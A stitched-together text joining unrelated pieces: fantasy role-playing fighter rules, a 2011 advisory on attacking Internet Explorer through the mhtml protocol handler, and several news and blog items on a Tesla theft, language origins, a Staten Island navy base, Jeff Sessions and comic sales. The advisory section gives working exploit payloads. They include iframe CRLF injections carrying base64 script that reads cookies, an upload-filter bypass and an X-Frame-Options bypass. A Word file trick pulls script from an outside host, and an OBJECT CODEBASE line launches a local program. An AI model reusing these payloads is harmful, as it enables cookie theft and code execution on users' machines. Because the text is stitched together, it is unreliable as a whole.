Known 1st 2nd 3rd 4th 3rd 2 3 2 — — — 4th 2 4 3 — — — 5th 2 4 3 — — — 6th 2 4 3 — — — 7th 2 5 4 2 — — 8th 2 6 4 2 — — 9th 2 6 4 2 — — 10th 3 7 4 3 — — 11th 3 8 4 3 — — 12th 3 8 4 3 — — 13th 3 9 4 3 2 — 14th 3 10 4 3 2 — 15th 3 10 4 3 2 — 16th 3 11 4 3 3 — 17th 3 11 4 3 3 — 18th 3 11 4 3 3 — 19th 3 12 4 3 3 1 20th 3 13 4 3 3 1 Eldritch Maneuvers Also at 3rd level, you learn the following special maneuvers that help you blend spellcasting with martial combat. Eldritch Strike. When you hit a creature with a weapon attack, you can expend one superiority die to attempt to undercut the target's magical defenses. Roll the superiority die; the creature receives a penalty to the next saving throw it makes against a spell you cast equal to the number rolled. Precision Spell. When you cast a spell that requires you to make an attack roll, you can expend one superiority die, rolling the die and adding the number rolled to one of the spell's attack rolls. You can use this maneuver before or after making the attack roll, but before any effects of the spell are applied. In addition, you can use this maneuver multiple times during a single casting of a spell that requires you to make multiple attack rolls, but can only expend one superiority die per attack roll.
War Magic Beginning at 7th level, when you use your action to cast a cantrip, you can make one weapon attack as a bonus action. Arcane Charge At 10th level, you gain the ability to teleport up to 30 feet to an unoccupied space you can see when you use your Action Surge. You can teleport before or after the additional action. Improved War Magic Beginning at 15th level, when you use your action to cast a spell, you can make one weapon attack as a bonus action. Arcane Restoration At 20th level, you can restore your spellcasting powers alongside your physical stamina. When you use your Second Wind maneuver, you can choose to regain one expanded eldritch knight spell slot. You must then finish a short or long rest before you can do so again. Banneret Banneret are warriors beholden to the service of a king or queen. Pledged to protect the crown, they take the fight against evil beyond their kingdom’s borders. They are tasked with wandering the land as knights errant, relying on their judgment, bravery, and fidelity to the code of chivalry to guide them in defeating evildoers. A banneret inspires greatness in others by committing brave deeds in battle. The mere presence of a banneret in a hamlet is enough to cause some orcs and bandits to seek easier prey. A lone banneret is a skilled warrior, but a banneret leading a band of allies can transform even the most poorly equipped militia into a ferocious war band. A banneret prefers to lead through deeds, not words. As a banneret spearheads an attack, the knight’s actions can awaken reserves of courage and conviction in allies that they never suspected they had. Leader's Maneuver When you choose this archetype at 3rd level, your skill at leadership allows you to help your allies strike with greater finesse. When a creature other than yourself that you can see within 30 feet of you makes a weapon attack, you can use your reaction to expend one superiority die, rolling the die and granting a bonus to the attack or damage roll of that creature's attack (your choice) equal to the number rolled. You can use this feature before or after the creature makes its attack roll, but before any effects of the attack are applied. Royal Envoy Also at 3rd level, you gain proficiency in the Persuasion skill. If you are already proficient in it, you gain proficiency in one of the following skills of your choice: History, Insight, Intimidation, or Performance. Your proficiency bonus is doubled for any ability check you make that uses Persuasion. You receive this benefit regardless of the skill proficiency you gain from this feature. Rallying Cry Starting at 7th level, you learn how to inspire your allies to fight on past their injuries. When you use your Second Wind maneuver, you can choose a number of friendly creatures within 30 feet of you that can see or hear you, up to a maximum equal to your Charisma modifier (minimum of 1). Each of these creatures gains temporary hit points equal to the number of hit points you regain. Inspiring Surge Starting at 10th level, when you use your Action Surge feature, you can choose one friendly creature within 60 feet of you that can see or hear you. That creature can use its reaction to make one weapon attack. Master's Command Starting at 15th level, whenever you use your Leader's Maneuver feature, you can roll a d8 and use it instead of expending a superiority die. Bulwark Starting at 20th level, your mere presence inspires your allies to withstand hardship in combat. When you use your Indomitable feature, you can choose a number of friendly creatures within 30 feet of you, up to a maximum equal to your Charisma modifier (minimum of 1). A creature you choose must be able to see or hear you, and must have made the same saving throw that you are choosing to reroll. Each creature you choose may use its original roll or your new roll for the saving throw.
Arcane Archer An Arcane Archer studies a unique elven method of archery that weaves magic into attacks to produce supernatural effects. Among elves, Arcane Archers are some of their most elite warriors. These archers stand watch over the fringes of elven domains, keeping a keen eye out for trespassers and using magic-infused arrows to defeat monsters and invaders before they can reach elven settlements. Over the centuries, the methods of these elf archers have been learned by members of other races who can also balance arcane aptitude with archery. Arcane Shots When you choose this archetype at 3rd level, you learn two Arcane Archer maneuvers of your choice, which are detailed under "Arcane Archer Maneuvers" below. You learn one additional Arcane Archer maneuver of your choice at 7th, 10th, and 15th level. Each time you learn a new Arcane Archer maneuver, you can also replace one Arcane Archer maneuver you know with a different one. Some of your Arcane Archer maneuvers require your target to make a saving throw to resist the maneuver's effects. The saving throw DC for your maneuvers is calculated as follows: Arcane Archer maneuver save DC = 8 + your proficiency bonus + your Intelligence modifier
Arcane Archer's Lore Also at 3rd level, you learn magical theory and some of the secrets of nature—typical for practitioners of this elven martial tradition. You gain proficiency in your choice of either the Arcana or Nature skill, and you learn one druid cantrip of your choice. Intelligence is your spellcasting ability for it. Magic Arrow At 7th level, you gain the ability to infuse arrows with magic. Whenever you fire a nonmagical arrow or crossbow bolt, you can choose to make the piece of ammunition magical for the purposes of overcoming resistance and immunity to nonmagical attacks and damage. The magic fades from the piece of ammunition immediately after it hits or misses its target. Curving Shot At 10th level, you learn how to direct an errant arrow toward a new target. When you make an attack roll with a magical piece of ammunition and miss, you can use a bonus action to reroll the attack roll against a different target within 60 feet of the original target. Empowered Shot Starting at 15th level, whenever you use one of your Arcane Archer maneuvers when firing a magical arrow or crossbow bolt, you can roll the expended superiority die twice and use the total of both numbers. You can use this feature a numberr of times equal to your Intelligence modifier (a minimum of once). You regain all expended uses when you finish a long rest. Mastered Maneuver By 20th level, arcane archery comes so easily to you that you can use one of your maneuvers without expending any magical power. Choose one of the Arcane Archer maneuvers you know to become your mastered maneuver. Once per turn when you use this maneuver, you can choose to use it normally, or to use it without expending or rolling a superiority die. If you use the maneuver without expending a superiority die, it always deals 6 extra damage. You cannot use Empowered Shot and Mastered Maneuver on the same attack. Arcane Archer Maneuvers The maneuvers are presented in alphabetical order. Banishing Arrow. When you hit a creature with a ranged weapon attack, you can use abjuration magic to attempt to banish your target to a harmless location in the Feywild. Expend and roll one superiority die; the attack deals extra force damage to its target equal to the number rolled. In addition, the target must succeed on a Charisma saving throw or be banished. While banished in this way, the target is incapacitated and has a speed of 0 feet. At the end of its next turn, the creature reappears in the space it vacated, or in the nearest unoccupied space if that space is occupied. Beguiling Arrow. When you hit a creature with a ranged weapon attack, you can use enchantment magic to beguile the target. Expend and roll one superiority die; the attack deals extra psychic damage equal to the number rolled. In addition, choose one of your allies within 30 feet of the target. The target must succeed on a Wisdom saving throw or become charmed by the chosen ally until the start of your next turn. This effect ends if the chosen ally attacks the charmed target, deals damage to it, or forces it to make a saving throw.
Bursting Arrow. When you hit a creature with a ranged weapon attack, you can generate an explosion of magical energy using evocation magic. Expend and roll one superiority die; the target and all other creatures within 10 feet of it take extra force damage equal to the number rolled. Enfeebling Arrow. When you hit a creature with a ranged weapon attack, you can weaken the target of your attack with necromantic magic. Expend and roll one superiority die; the attack deals extra necrotic damage equal to the number rolled. In addition, the creature must succeed on a Constitution saving throw or deal half damage with weapon attacks that use Strength until the start of your next turn. Grasping Arrow. When you hit a creature with a ranged weapon attack, you can entangle the creature in grasping, poisonous brambles summoned with conjuration magic. Expend and roll one superiority die; the attack deals extra poison damage equal to the number rolled. In addition, the target becomes entangled in vines. Its speed is reduced by 10 feet, and it takes slashing damage equal to the number rolled on your superiority die the first time on each of its turns it moves 1 foot or more without teleporting. The target or any creature that can reach it can use its action to remove the brambles with a successful Strength (Athletics) check against your Arcane Shot save DC. Otherwise, the brambles last for 1 minute or until you use this maneuver again. Piercing Arrow. When you make a ranged weapon attack, you can use transmutation magic to give your ammunition an ethereal quality. Expend and roll one superiority die, without making an attack roll. The piece of ammunition fires forward in a 30-foot line that is 1 foot wide. Each creature in that line must make a Dexterity saving throw. On a failed save, a target takes the ammunition's normal damage, plus extra damage equal to the number you rolled on your superiority die. On a successful save, a target takes half as much damage. Seeking Arrow. When you make a ranged weapon attack, you can use divination magic to cause your ammunition to track its target. Expend and roll one superiority die, without making an attack roll. The piece of ammunition flies towards one creature of your choice you have seen within the past minute, moving around corners if necessary and ignoring half cover and three-quarters cover. If the target is within the weapon’s range and there is a path large enough for the piece of ammunition to travel to the target, the target must make a Dexterity saving throw. On a failed save, a target takes the ammunition's normal damage, plus extra damage equal to the number you rolled on your superiority die, and you learn the target's current location. On a successful save, a target takes half as much damage and you don't learn its location. Shadow Arrow. When you hit a creature with a ranged weapon attack , you can expend one superiority die to attempt to occlude the target's vision with illusion magic. Expend and roll one superiority die; the attack deals extra psychic damage equal to the number rolled. In addition, the target must succeed on a Wisdom saving throw or become unable to see anything other than 5 feet away until the start of your next turn. Cavalier The archetypal Cavalier excels at mounted combat and at guarding those in their charge from harm, often serving as the protectors of their superiors and of the weak. Drawn to right wrongs or earn prestige, many of these fighters leave lives of comfort in the courts of nobles or the inner circles of diplomats to embark on glorious adventure. Born to the Saddle When you choose this archetype at 3rd level, your mastery as a rider becomes apparent. You have advantage on saving throws made to avoid falling off your mount. In addition, if you fall off your mount and descend no more than 10 feet, you can land on your feet if you're not incapacitated. Finally, mounting or dismounting a creature costs you only 5 feet of movement, rather than half your speed. Master of the Stable Also at 3rd level, you gain proficiency in the Animal Handling skill. If you are already proficient in it, you gain proficiency in one of the following skills of your choice: History, Insight, Intimidation, or Performance. Your proficiency bonus is doubled for any ability check you make that uses Animal Handling. You receive this benefit regardless of the skill proficiency you gain from this feature. Cavalier's Maneuvers Also at 3rd level, you learn the following special maneuvers that help you protect your allies. Marking Strike. When you hit a creature with a melee weapon attack, you can expend one superiority die, rolling the die and adding the die to the attack's damage roll. In addition, the target becomes marked until the end of your next turn. This effect ends early if you are incapacitated or die, or if someone else marks the creature. The marked creature has disadvantage on attack rolls against creatures other than you. In addition, if the marked creature deals damage to a creature other than you, you can use your reaction to make a melee weapon attack against it. You have advantage on the attack roll, and if it hits, the attack deals extra damage. Roll, but do not expend, one of your superiority dice; the attack's extra damage is equal to the number rolled. Warding Maneuver. When you or a creature within 5 feet of you is hit by an attack, you can use your reaction and expend one superiority die if you're wielding a melee weapon or a shield. Roll the die, and add the number rolled to the target's AC for that attack. If the attack still hits, the target has resistance against the attack's damage. Ferocious Charger Starting at 7th level, you can run down your foes, whether you're mounted or not. Once on each of your turns, if you move or ride your mount at least 10 feet in a straight line right before hitting a creature with a melee weapon attack, that target must succeed on a Strength saving throw (DC 8 + your proficiency bonus + your Strength modifier) or be knocked prone.
Hacking with mhtml protocol handler
Hacking with mhtml protocol handler Author: www.80vul.com [Email:5up3rh3i#gmail.com] Release Date: 2011/1/15 References: http://www.80vul.com/mhtml/Hacking%20with%20mhtml%20protocol%20handler.txt Ph4nt0m Webzine 0x05 (http://secinn.appspot.com/pstzine) Was finally released yesterday, There are two articles about the browser security[0x05 and 0x06].If the combination of both, we can complete a lot of interesting attacks... 1.Cross Site Scripting by upload mhtml file Using the mhtml protocol handler,The file extension is ignored.so the attacker use renname the mhtml file to a *.jpg file,etc. then upload it to the target site... ofcouser ,we can use "copy /b 1.jpg + 1.mhtml 2.jpg" to bypass some upload file format security restrictions then use iframe tag src to it: <iframe src="MHTML:http://target-site.com/upfile/demo.html!cookie"></iframe> 2.Cross Site Scripting mhtml-file string injection the mhtml-file format is only base on CRLF,so if we can injection CRLF, the site may be attacked. poc: test it on win7 system pls. <iframe src="mhtml: http://www.tudou.com/my/channel/item.srv?icode=enQCgQKJTDs&callback=Content-Type%3A%20multipart%2Frelated%3B%20boundary%3D_boundary_by_mere%0D%0A%0D%0A--_boundary_by_mere%0D%0AContent-Location%3Acookie%0D%0AContent-Transfer-Encoding%3Abase64%0D%0A%0D%0APGJvZHk%2BDQo8aWZyYW1lIGlkPWlmciBzcmM9Imh0dHA6Ly93d3cuODB2dWwuY29tLyI%2BPC9pZnJhbWU%2BDQo8c2NyaXB0Pg0KYWxlcnQoZG9jdW1lbnQuY29va2llKTsNCmZ1bmN0aW9uIGNyb3NzY29va2llKCl7DQppZnIgPSBpZnIuY29udGVudFdpbmRvdyA%2FIGlmci5jb250ZW50V2luZG93IDogaWZyLmNvbnRlbnREb2N1bWVudDsNCmFsZXJ0KGlmci5kb2N1bWVudC5jb29raWUpDQp9DQpzZXRUaW1lb3V0KCJjcm9zc2Nvb2tpZSgpIiwxMDAwKTsNCjwvc2NyaXB0PjwvYm9keT4NCg%3D%3D%0D%0A--_boundary_by_mere--%0D%0A!cookie"></iframe> if win-xp or win2k3 system,pls do it by the second urlencode. mhtml-file string injection in JOSN file, some sites restrict the JOSN file's Content-Type to defense xss. maybe we can use mhtml-file string injection to pass it :) 3.bypass X-Frame-Options X-Frame-Options did not protect the mhtml protocol handler. the demo: <iframe src="mhtml:http://www.80vul.com/mhtml/zz.php!cookie"></iframe> <iframe src="http://www.80vul.com/mhtml/zz.php"></iframe> 4.mhtml+file://uncpath+Adobe Reader 9 == local xss vul Billy (BK) Rios introduced a very interesting approach to Steal local files on the RuxCon/Baythreat(https://xs-sniper.com/blog/2010/12/17/will-it-blend/) ,it used "Script src to local files in the LocalLow directory" by file:// +java apple +Adobe Reader+Adobe flash to complete it. but if used mhtml+file://uncpath, so easy to do it. Demo: test it on win2k3+ie8+Adobe Reader 9 http://www.80vul.com/hackgame/xs-g0.php?username=Administrator 5.mhtml+file://uncpath+word == local xss vul demo:http://www.80vul.com/mhtml/word.doc download it, and save it on c:\word.doc and open it. u can get the alert c:\boot.ini 's content. this is base on "Microsoft word javascript execution"( http://marc.info/?l=bugtraq&m=121121432823704&w=2). to make the proof of concept follow the following steps: 1-Make a html file and paste xss code 2-Open the html file with the word and save as c:\word.xml 3-Open the word.xml with the notepad,and inject the mhtml code in <w:t>aaaaa </w:t> 4-Rename c:\word.xml to c:\word.doc 5-Open c:\word.doc file xss code --------------------------------------------------------- <html><OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=http://www.80vul.com/hackgame/word.htm></OBJECT> aaaaa ---------------------------------------------------------- mhtml code -------------------------------------------------------- /* Content-Type: multipart/related; boundary="_boundary_by_mere": --_boundary_by_mere Content-Location:cookie Content-Transfer-Encoding:base64 PGJvZHk+DQo8c2NyaXB0IHNyYz0naHR0cDovL3d3dy44MHZ1bC5jb20vaGFja2dhbWUvZ28uanMnPjwvc2NyaXB0Pg0KPC9ib2R5Pg0K --_boundary_by_mere-- */ -------------------------------------------------------- if u use this vul to attack someone,u need to known the word file path where save the download file. and lots of guns used on the desktop :) "Microsoft word javascript execution" is only work on office 2k3 and 2k7, In other versions u can make the link, and src to http://www.80vul.com/hackgame/word.htm 6. Coss Zone Scripting First we would like to mention a very old vulnerability: <OBJECT CLASSID=CLSID:12345678-1234-4321-1234-111111111111 CODEBASE=c:/winnt/system32/calc.exe></OBJECT> This vulnerability (by firebug9[ http://hi.baidu.com/firebug9/blog/item/b7627c4624cd880f6a63e5e7.html]) allows you to execute any program on "My Computer" zone,Been tested and found to this vul work on ie6/ie7/ie8+win2k/winxp/win2k3 Then repeat "5.mhtml+file://uncpath+word == local xss vul" steps and change: xss code --------------------------------------------------------- <html><OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=mhtml:file://c:/word.doc!cookie></OBJECT> aaaaa ---------------------------------------------------------- mhtml code -------------------------------------------------------- /* Content-Type: multipart/related; boundary="_boundary_by_mere": --_boundary_by_mere Content-Location:cookie Content-Transfer-Encoding:base64 PE9CSkVDVCBDTEFTU0lEPUNMU0lEOjEyMzQ1Njc4LTEyMzQtNDMyMS0xMjM0LTExMTExMTExMTExMSBDT0RFQkFTRT1jOi93aW5kb3dzL3N5c3RlbTMyL2NhbGMuZXhlPjwvT0JKRUNUPg== --_boundary_by_mere-- */ -------------------------------------------------------- thx d4rkwind(http://hi.baidu.com/d4rkwind/) for his excellent paper. About Ph4nt0m Webzine Ph4nt0m Webzine is a free network Security Magazine,We accept articles in English and Chinese, you are welcome contributions . mailto:root_at_ph4nt0m.org pls.thank you! -- hitest
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At least two of the suspects claimed to have the vehicles because they are part of the Tesla family. Of course, the electric vehicle manufacturer’s moniker isn’t a family name, but rather homage to inventor Nikola Tesla.
According to jail records, a UHP trooper noticed a man in a Tesla pull up behind him and act suspicious. The trooper motioned for the vehicle to pull over. The man driving the Tesla explained that a man he hardly knew gave him a Tesla and keys to three other Teslas.
Not believing the story, the trooper impounded the vehicle and asked the 24-year-old man to accompany him to the showroom, which was found to have been burglarized.
The suspect told the trooper that when he showed up to the showroom earlier it had already been burglarized and there was an alarm sounding. Since police were not there yet, he said he felt he was allowed to take the vehicle and the keys.
The man also was found to be in possession of the business license for the dealership, a certificate of commerce, and a check made out to Tesla for $49,500 with the suspect’s name endorsed on the back.
South Salt Lake Police spokesman Gary Keller said officers in the area were told to be on the lookout for the flashy cars, which resulted in two more arrests.
A 31-year-old man was arrested following a chase when a trooper spotted a Tesla and started to follow. The chase was short lived, Keller said, as the battery in the allegedly stolen vehicle died.
And a 19-year-old man was pulled over and arrested in West Valley while driving a 2017 Tesla S with a friend, Keller said. The man told police he had entered the showroom earlier with two other men, according to jail records.
“We are still trying to sort this out,” Keller said. “We actually have two people claiming their name is Tesla and a family member died and left them these cars.” Keller said. Two of the suspects had to be fingerprinted to determine their actual identities.
All three were booked into jail.
Everything stolen from the dealership appeared to have been recovered until a Salt Lake City police officer pulled over a Tesla early Friday afternoon and realized it was stolen. Keller said the 27-year-old woman was arrested outside of a liquor store on 1255 W. North Temple. She told police a man named Tesla had given her the car.
Keller said he doesn’t think there are more stolen cars driving around, but he isn’t positive.
I found his discussion of Ancient theories of langauge evolution interesting and use them here to grind my own particular axe: the monolingual bias in linguistics (all the source material and the vast majority of the argument here comes from Németh’s thesis).
To summerise, Platonic idealism from Ancient Greece suggested a monolingual approach to language. However, later Ancient theories saw linguistic diversity as a fundamental aspect of the early stages of language evolution. They also thought about the experience of individuals in a community. The Judeo-Christian approach to language undermined this position and re-introduced elements of the idea of a ‘perfect language’ and a monogenetic origin of language. To get even more Dan Brown about it, I might suggest that this set the stage for the idealism of Chomskyan Generativism. It is only relatively recently that the role of diversity in studies of the origin of language has been foregrounded again.
Németh (2011) presents a history of evolutionary linguistics starting with Ancient Greece. Philosophers debated the origins of words and languages, including whether things got their names from nature or by arrangement. While this debate does have modern parallels, I won’t focus on them here. Instead, we skip forwards to the 3rd Century BCE and the hypothesis of Epicurus. Epicurus opposed the idealist Platonic theory that there is by nature only one correct name for anything and that this name is known only to experts:
“…nor let us believe those philosophers who say that names were given to things by prescription and teaching so that men might have symbols of them for the sake of easy communication one with another. The idea is absurd, in fact it is more absurd than any absurdity as well as being quite impossible that anyone should bring together so many multitudes being only one himself-for as yet there were no kings nor even letters where there were no sounds-for as to these now for the mere collecting of these it needed a royal command for their collection to take place-and after bringing them together that he should instruct them like a schoolmaster, taking hold of a bough and touching each thing should say as he did so, ‘This is to be called stone, and this wood, and this man’…” (see App. Fr. X. Col II. 11- Fr. XI. Col. I. 13)
The criticism realises that, if language is culturally transmitted, then there must be limits on how linguistic coordination can spread through a society. That is, incorporating a theory of how individuals} inherit language is important. Epicurus’s hypothesis on the origins of language emphasises the primacy of diversity between individuals:
Hence even the names of things were not originally due to convention, but in the several tribes under the impulse of special feelings and special presentations of sense primitive man uttered special cries. The air thus emitted was molded by their individual feelings or sense-presentations, and differently according to the difference of the regions which the tribes inhabited. Subsequently whole tribes adopted their own special names, in order that their communications might be less ambiguous to each other and more briefly expressed. And as for things not visible, so far as those who were conscious of them tried to introduce any such notion, they put in circulation certain names for them, either sounds which they were instinctively compelled to utter or which they selected by reason on analogy according to the most general cause there can be for expressing oneself in such a way.
Epicurus’ Letter to Herodotus in Diogenes Laertius 10.75-6 English translation from Chilton, C. W., ‘The Epicurean Theory of the Origin of Language. A Study of Diogenes of Oenoanda,Fragments X and XI (W)’ The American Journal of Philology, Vol. 83, No. 2, 1962, 160
First, this is a departure from the Socratic and Stoic ideas of there being a perfect word bestowed by nature for each meaning. The theory has echoes of modern hypotheses such as the emotional origins of protolanguage, pressure for communication and borrowing. It is also striking that Epicurus draws a distinction between the capacity for language and the cultural origins of languages (see also Bailey, 1947). Németh points out that this theory is striking in its anti-religiousness and materialism which is ‘absolutely missing’ in writings on language from the Middle Ages (Németh, 2011, p.41). However, it is also striking in its polygenetic view of the origins of language – that a language capacity arose in several communities but that languages arose culturally from their interaction. This view is also expressed in the writings of Diodorus Siculus in the 1st Century BCE.:
Their words were confused, without any certain signification; but by degrees they spoke articulately, and making signs, and giving proper terms to every thing upon occasion. At length their discourse became intelligible to one another: but being dispersed into several parts of the world, they spoke not all the same language, every one using that dialect proper to the place, as his lot fell: upon which account there were various, and all sorts of languages in the world; and these associations of men first planted all the nations of the world.
Diodorus Siculus, Diodori Bibliotheca Historica, Vols. 1, 2, Bekker, I. – L. Dindorf – F. Vogel, Leipzig:Bibliotheca Teubneriana, 1888-1890, 1.8.3-4
Again, this view sees linguistic diversity as the initial condition and convergence to a single language as a product of contact. The prior state emphasises differences between individuals and this explains the diversity of languages to some extent – communities not in contact could not co-ordinate. Furthermore, there is a difference between these views and later views of what a `language’ is. There is a tacit understanding by both Epicurus and Isidore that `languages’ emerge from interactions between people, and are not pre-defined entities.
The influence of Judaism and Christianity would undermine this view by introducing three ideas: Language being a natural capacity of God, God’s language being perfect and humans as `fallen’ from a perfect state. The impact of this on linguistic theories of language origins is stark in relation to this thesis as is apparent in the writings of Archbishop Isidore of Seville in the 7th Century CE:
The diversity of languages arose with the building of the Tower after the Flood, for before the pride of that Tower divided human society, so that there arose a diversity of meaningful sounds, there was one language for all nations, which is called Hebrew.
Isidorus Hispalensis, 1911, 9.1.1 English translation from Isidore of Seville, The Etymologies of Isidore of Seville, Barney, S. A. – W. J. Lewis – J. A. Beach – O. Berghof eds., Cambridge: Cambridge University Press, 2006
The myth of the Tower of Babel, sees linguistic diversity as both a secondary stage in human history and as a dilution or distortion of a `perfect’ state. Put another way, since a perfect language is a natural capacity of God and humans were made in God’s image, there needs to be a super-natural explanation for linguistic diversity. The myth of the Tower of Babel fulfills this role. Furthermore, it is God who instigates the confusion, dictating the separation of speech into discrete `languages’ (While Genesis does not discuss exactly how the languages were confused, this myth was extended in works such as the History of the Prophets and Kings (Tarikh al-Rusul wa al-Muluk) in Persia/Iraq the 9th Century and the Book of Invasions (Lebor Gabala Erenn) in Ireland in the 11th Century. In these versions, the original language is split into 72 separate languages. The Book of Invasions lists the languages in verse (see chapter 15 of The Book of Leinster Redaction ). That is, discrete divisions between languages have been dictated by God. The language groups are also scattered geographically. This makes it almost heretical to think about evolutionary explanations of the co-evolution of linguistic diversity and social structure.
Modern approaches to linguistics have perhaps inherited two aspects of this myth. First, that linguistic diversity is something curious that needs a special explaining. Earlier theories do not appear to be concerned with why there are mutually unintelligible languages (see above). Furthermore, the idea that linguistic varieties diverge in isolated populations is relatively straightforward, but clashes with the idea of a linear trajectory of change from `perfect’ to less perfect. The idea that linguistic variation arises due to isolation is only formally addressed in modern times by Nettle (1999).
Németh argues that the myth of the Tower of Babel myth also suggests that linguistic unity is needed for great undertakings, and that the function of language is to encode and represent the world in the most sophisticated way possible (Németh, 2011, p. 83). That is, the desired state is monolingualism, since that fulfills the goals of facilitating communication and of reaching the `perfect’ language. (Although this is stepping further into speculation, I suggest that the modern paradigm of the Naming Game, e.g. Steels (2005), has its roots in this myth. As I argue in Roberts (in press), the algorithm for the naming game is directed towards achieving a single language for the whole system, rather than an alternative goal such as all individuals understanding all varieties. In many implementations, the measure of success is the convergence of the linguistic systems of individuals, not primarily the communicative accuracy.)
Németh argues that the Judeo-Christian traditions heavily constrained the study of the origins of language: Firstly, the perfect language of God in Genesis both names things and commands them into being (Németh argues that this is linked with the concepts of naming and commanding having same root in Hebrew and Greek) is a throwback to Platonic idealism. Also, the Talmudic tradition that the Torah existed in written form before the creation of the world makes language just as metaphysical as God, and therefore beyond the reach of a natural explanation.
The concept of a `perfect language’ was only discarded in the 18th century (Németh, 2011, p. 83), but the concepts about the nature and function of language survived. Németh suggests that “If religious doctrines had not affected linguistics, then it is posisble that the millenial gap in scientific research would not have occurred and that the present understanding of the function of language would be also excessively different” (Németh, 2011, p.85).
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New York City’s waterfront isn’t short of piers, but one of those piers is truly unusual: it is the remnant of an incomplete, abandoned naval base built during some of the most fraught years of the Cold War. In the 1980s, the U.S. Navy proposed and built a 35-acre, multimillion-dollar homeport at Stapleton, a neighborhood on Staten Island’s northeastern waterfront, to permanently station a fleet of ships potentially armed with nuclear warheads.
The construction of the Stapleton Navy base was a result of the nuclear fear that swept the world during the “Second Cold War.” Tensions between the United States and the Soviet Union were high, with the latter country’s rapid nuclear weaponry development. U.S. president Ronald Reagan decided to bolster military defense and grow the Navy fleet from 400 to 600 ships. The vessels, capable of carrying nuclear missiles, were going to be stationed at new ports scattered across U.S. territory.
By dotting the country with Navy ships, Navy Secretary John F. Lehman reasoned the Navy couldn’t be crippled by a “Pearl Harbor type of catastrophe,” Clifford D. May wrote in New York Times in 1987.
President Ronald Reagan ordered the U.S. Navy fleet grow to 600 ships. [Photo: Public Domain]
In July 1983, the Navy proposed the Stapleton base, a 45-foot canal and 1,410-foot pier that would house the reactivated World War II battleship USS Iowa and six support vessels. Stapleton was chosen as the preferred homeport over other cities that fought for the Navy’s business, as it would provide an easy portal to Britain, Greenland, and Iceland.
Federal and local officials, including New York’s Mayor Ed Koch, also believed the base would drive up the economy of the New York metropolitan area, provide thousands of jobs, and clean up Stapleton’s dreary ports.
The base, which faced Manhattan from a run-down section of Staten Island’s east shore, was also intended to make the public feel safer: “The reality of America’s nuclear vulnerability—now publicly confirmed by Presidents from Richard Nixon to Ronald Reagan—has become a steadily growing part of the public consciousness,” journalist L. Bruce van Voorst wrote in the 1983 issue of Foreign Affairs, adding that “the cavalier attitude of many senior Reagan Administration officials toward nuclear issues has contributed significantly to the widespread fears outside government.”
The view of Manhattan from Stapleton Station. [Photo: Adam Moss/CC BY-SA 2.0]
Stapleton first hosted ships along its waterfront when it started a ferry service in 1752. New York City built piers in 1920, which were used during World War II by both the Navy and the Army as the New York State Port of Embarkation. After the war, the shipping industry shifted to New Jersey, causing the waterfront to lose traffic and fall into a state of disrepair. The naval presence would revitalize the area, the shiny new base costing an estimated $799 million.
“There was a time when New York City was the No. 1 home port,” Mayor Koch told the New York Times in 1983. “And we want to make it that again.”
Despite governmental support, many still feared a nuclear accident. The government’s policy prohibits the Navy from confirming or denying if ships carry any nuclear weapons. The ships at Stapleton may not have even had any onboard, but even the possibility riled up antinuclear groups, particularly religious organizations in favor of peace and disarmament.
USS Iowa. [Photo: Public Domain]
While many Americans had been vocal about atomic warfare since the 1940s, antinuclear organizations in New York and New Jersey attracted people who had never been involved with any kind of political activity before. Roman Catholic bishops, rabbis at reform synagogues, and Quakers in Manhattan all fought to freeze testing, production, and deployment of nuclear weapons in both the United States and the Soviet Union.
In 1982, the New York Times reported growing opposition to nuclear arms in the New York area, with petition drives on the Staten Island Ferry, church meetings in New Jersey suburbs, and even a high school essay contest in Rockland County. Cardinal Joseph Bernardin’s 1983 Notre Dame commencement speech included a strong plea for nuclear disarmament:
“Because the nuclear issue is not simply a political but also a profoundly moral and religious question, the Church must be a participant in the process of protecting the world and its people from the specter of nuclear destruction.”
The Riverside Church on the Upper West Side of Manhattan ran a disarmament program that did everything it could to make the public aware of the harms of a nuclear accident, even producing a propaganda map that states: “The basing of the Nuclear Navy at Staten Island threatens us all.”
Accident! [Photo: PJ Mode Collection at Cornell’s Digital Library/CC BY-SA 3.0]
“It’s a striking poster,” says PJ Mode, a persuasive map collector who owns a copy of the 1984 Riverside Church Disarmament map titled “Accident.” The poster shows splattered red paint over the New York-New Jersey metropolitan area, and dubious statistics about “a cloud of plutonium dust 28 miles long” that could arise should an accidental fire or explosion occur onboard.
The debate waged on until the Navy finally began building the base on March 1987. Five ships were stationed at the pier, but the USS Iowa retired after one of its turrets exploded. After the dissolution of the Soviet Union in 1991, military spending was scaled back, which halted the construction in 1993. The incomplete Stapleton base was decommissioned in 1995.
Over the last two decades, there have been many different proposals to transform the abandoned waterfront space, from a NASCAR racetrack to a movie studio. Soon, people will be able to live on the nuclear navy ship base. In 2013, construction began on a massive $180 million redevelopment project that will build 350 housing units, restaurants, recreation centers, and waterfront esplanade. This will comprise the new Stapleton waterfront.
Fired FBI director James Comey will testify Thursday
(CNN) If Attorney General Jeff Sessions' future in the Trump administration is safe, the White House certainly isn't letting on.
The White House again on Wednesday refused to say whether President Donald Trump has confidence in his attorney general, the second consecutive day a top White House spokesperson has declined to provide that assurance, adding fuel to reports of a rift between Sessions and Trump.
Briefing reporters Wednesday aboard Air Force One, White House deputy press secretary Sarah Huckabee Sanders said she had yet to have an "extensive conversation" with Trump about the matter, but said she planned to ask him.
Sanders' response mirrored that provided by White House press secretary Sean Spicer a day earlier in the White House briefing room, when he said he had not "had a discussion with (Trump) about that."
Trump also ignored multiple shouted questions from reporters on the topic on Wednesday.
For September 2011, the DC Relaunch, DC Comics had a 35.74% share of dollars spent on comics and graphic novels.
And Marvel had a 35.37% share.
It’s a half point difference, but considering earlier in the year, DC were double figures points behind Marvel, it’s a remarkable shift.
But the biggest change is in the actual number of comics and graphic novels sold. In that, DC had a massive 43.04% marketshare, over five points ahead of Marvel on 37.88%.
The only time DC has been ahead of Marvel in any form for six years was last December, when the Dark Knight comic saw DC take 33.07% in product marketshare to Marvel ‘s 32.28%, but Marvel kept dominance in dollar share with 39.9% to DC’s 36.99%. And in subsequent months, DC’s sales and revenue plummeted, until the middle of this year when they slowly started to regain ground.
In August, they were getting closer, Marvel’s dollar marketshare was 37.34% against DC’s 30.55% and Marvel’s product marketshare was at 42.47% against DC’s 34.84%.
And it’s the product marketshare that’s the biggest difference, DC turning a 7.5% lag into an over 5% lead in one month.
